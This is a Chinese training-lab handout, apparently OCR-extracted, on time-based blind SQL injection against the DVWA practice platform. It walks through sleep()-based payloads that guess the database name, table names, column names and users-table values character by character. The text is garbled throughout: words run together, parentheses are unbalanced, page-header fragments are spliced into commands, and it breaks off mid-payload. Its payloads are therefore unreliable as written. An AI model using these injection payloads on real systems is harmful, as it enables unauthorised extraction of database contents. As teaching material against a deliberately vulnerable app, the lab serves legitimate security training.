1、言1言息宜至與管理專皿兼學資靦庫實訓I SQL注入(時間盲注)1一、實訓目的1 . 了解SQL注入的常用方式2 .掌握SQL時間盲注的方法二、實訓環境1. DVWA平臺2. Firefox瀏覽器(谷歌瀏覽器)三、實訓內容1 .配置DVWA平臺進入DVWA平臺，選擇DVWA Security ,將安全級別設置為Low。2 .測試SQL注入點(1)點擊SQL Injection (Blind),進入測試頁面。(2)使用參數1' and sleep(5) # 進行提交，頁面明顯延遲。使用參數1 andsleep(5) #進行提交，頁面沒有延遲。說明是基于字符的時間盲注。(3)猜解數據庫名的長

2、度。具體命令如下：/明顯延遲? 1' and if(length(database()=1,sleep(5),1) #/ 沒有延遲1' and if(length(database()=4,sleep(5),1) #(4)二分法猜解數據庫名。具體命令如下:八言息我至與管理專皿裁學費靦每? 1' andif(ascii(substr(database(),1,1)>97,sleep(5),1)#/明顯延遲? 1' andif(ascii(substr(database(),1,1)<100,sleep(5),1)#/沒有延遲? 1' andif

3、(ascii(substr(database(),1,1)>100,sleep(5),1)#/沒有延遲修改substr函數的第二個參數，如substr(database(),2,1) 進行測試，可以 獲得數據庫的第二個字母。(5)猜解數據庫表的數量。具體命令如下:? 1' and if(select count(table_name)frominformation_schema.tableswheretable_schema=database() )=1,sleep(5),1)#/ 沒有延遲? 1' and if(select count(table_name)fromi

4、nformation_schema.tableswheretable_schema=database() )=2,sleep(5),1)#/ 明顯延遲(6)猜解數據庫表名的長度。具體命令格式如下：/沒有延遲? 1' and if(length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=1,sleep(5),1) #言1言息宜至與管理專皿兼學資靦庫1' and if(length(substr(selecttablename

5、frominformation_schema.tables where table_schema=database()limit 0,1),1)=9,sleep(5),1) #/ 明顯延遲table_name from(7)猜解數據庫表的名稱。具體命令格式如下:1' and if(ascii(substr(selectinformation_schema.tables where table_schema=database() limit 0,1),1,1)>103,sleep(5),1) #/ 沒有延遲? 1' and if(ascii(substr(select ta

6、ble_name from information_schema.tables where table_schema=database() limit 0,1),1,1)<103,sleep(5),1) #/ 沒有延遲重復上述步驟，猜解出兩個表名。(8)猜解數據庫表中的字段長度。具體命令格式如下：? 1' and if(select count(column_name) frominformation_schema.columnswhere table_name='users')=1,sleep(5),1)#/ 沒有延遲1' and if(selectco

7、unt(column_name)frominformation_schema.columnswhere table_name='users')=8,sleep(5),1)#/ 明顯延遲(9)猜解數據庫表中的字段名稱。具體命令格式如下:言1言息宜至與管理專皿兼學資靦庫1' and if(ascii(substr(selectcolumnnamefrominformation_schema.columns where table_name= 'users' limit 0,1),1,1)>117,sleep(5),1) #/ 沒有延遲1' an

8、d if(ascii(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1)<117,sleep(5),1) #/ 沒有延遲(10)猜解表中的數據。具體命令格式如下:1' and if(select count(first_name) from users)=5,sleep(5),1) # /明顯延遲users表中的字段數為5猜測每條記錄的長度。說明巾rst_name的第一個值得長度為5個字符。? 1' and if(length(substr(select first_name from users limit 0,1),1)=5,sleep(5),1) #/ 明顯延遲(11)二分法猜解表中的數據。具體命令格式如下：?1'andif(ascii(substr(selectfirst_namefromuserslimit0,1),1,1)&g